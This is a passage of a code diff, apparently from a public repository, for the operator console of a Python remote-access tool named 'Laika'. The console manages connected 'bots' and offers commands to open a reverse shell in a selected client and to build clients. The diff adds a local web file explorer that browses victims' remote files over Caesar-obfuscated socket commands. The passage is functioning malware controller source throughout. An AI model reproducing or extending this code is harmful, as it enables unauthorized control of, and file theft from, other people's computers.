||||||
|
f = CAESAR_DECRYPT(f)
|
||||||
|
#print(path_file_ex + f)
|
||||||
|
|
||||||
|
client.send(CAESAR("get_obj_info").encode())
|
||||||
|
|
||||||
|
client.send(CAESAR(path_file_ex + f + "\0").encode())
|
||||||
|
|
||||||
|
infos = recv_message_ret(client).decode("latin-1")
|
||||||
|
#print(infos)
|
||||||
|
|
||||||
|
data.append({"url": f"<a>{f}</a>", "modified": "", "size":""})
|
||||||
|
|
||||||
|
json_data = jsonify({"data":data})
|
||||||
|
return json_data
|
||||||
|
|
||||||
def ban() :
|
def ban() :
|
||||||
if is_linux_user() :
|
if is_linux_user() :
|
||||||
os.system("clear")
|
os.system("clear")
|
||||||
@@ -49,7 +138,7 @@ def ban() :
|
|||||||
print(Fore.RED + " / / / _` || || |/ // _` |")
|
print(Fore.RED + " / / / _` || || |/ // _` |")
|
||||||
print(Fore.RED + "/ /___| (_| || || <| (_| |")
|
print(Fore.RED + "/ /___| (_| || || <| (_| |")
|
||||||
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
|
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
|
||||||
print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
|
print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
|
||||||
print("")
|
print("")
|
||||||
|
|
||||||
def on_new_client() -> None :
|
def on_new_client() -> None :
|
||||||
@@ -89,6 +178,24 @@ def update_title() -> None :
|
|||||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT))
|
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT))
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
|
|
||||||
|
def recv_message_ret(client) :
|
||||||
|
message = ""
|
||||||
|
while True :
|
||||||
|
client.settimeout(0.1)
|
||||||
|
try :
|
||||||
|
message = client.recv(4096)
|
||||||
|
if CAESAR_DECRYPT(message.decode("latin-1")) == "done" :
|
||||||
|
break
|
||||||
|
except socket.timeout :
|
||||||
|
break
|
||||||
|
if not message:
|
||||||
|
break
|
||||||
|
|
||||||
|
if client.gettimeout() == 0:
|
||||||
|
break
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
def recv_message(socket_object) -> bool:
|
def recv_message(socket_object) -> bool:
|
||||||
socket_object.settimeout(0.1)
|
socket_object.settimeout(0.1)
|
||||||
while True:
|
while True:
|
||||||
@@ -109,16 +216,18 @@ def recv_message(socket_object) -> bool:
|
|||||||
def main() -> None :
|
def main() -> None :
|
||||||
global SELECTED_CLIENT
|
global SELECTED_CLIENT
|
||||||
|
|
||||||
ban()
|
|
||||||
|
|
||||||
THREAD_LIST.append(Thread(target = on_new_client, args = ()))
|
THREAD_LIST.append(Thread(target = on_new_client, args = ()))
|
||||||
THREAD_LIST.append(Thread(target = on_close_socket, args = ()))
|
THREAD_LIST.append(Thread(target = on_close_socket, args = ()))
|
||||||
THREAD_LIST.append(Thread(target = update_title, args = ()))
|
THREAD_LIST.append(Thread(target = update_title, args = ()))
|
||||||
|
THREAD_LIST.append(Thread(target = app.run, kwargs = {"debug":False}))
|
||||||
|
|
||||||
for t in THREAD_LIST :
|
for t in THREAD_LIST :
|
||||||
t.daemon = True
|
t.daemon = True
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
ban()
|
||||||
|
|
||||||
while True :
|
while True :
|
||||||
cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET)
|
cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET)
|
||||||
|
|
||||||
@@ -131,6 +240,7 @@ def main() -> None :
|
|||||||
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
||||||
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
||||||
print("build : build un client")
|
print("build : build un client")
|
||||||
|
print("fex : ouvre l'explorateur de fichiers")
|
||||||
print("")
|
print("")
|
||||||
|
|
||||||
elif cmd == "exit" :
|
elif cmd == "exit" :
|
||||||
@@ -232,6 +342,10 @@ def main() -> None :
|
|||||||
|
|
||||||
print("\nSession terminée.")
|
print("\nSession terminée.")
|
||||||
|
|
||||||
|
elif cmd == "fex" :
|
||||||
|
print("\nClique sur le lien ci-dessous pour voir le file explorer :")
|
||||||
|
print("http://127.0.0.1:5000")
|
||||||
|
|
||||||
else :
|
else :
|
||||||
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user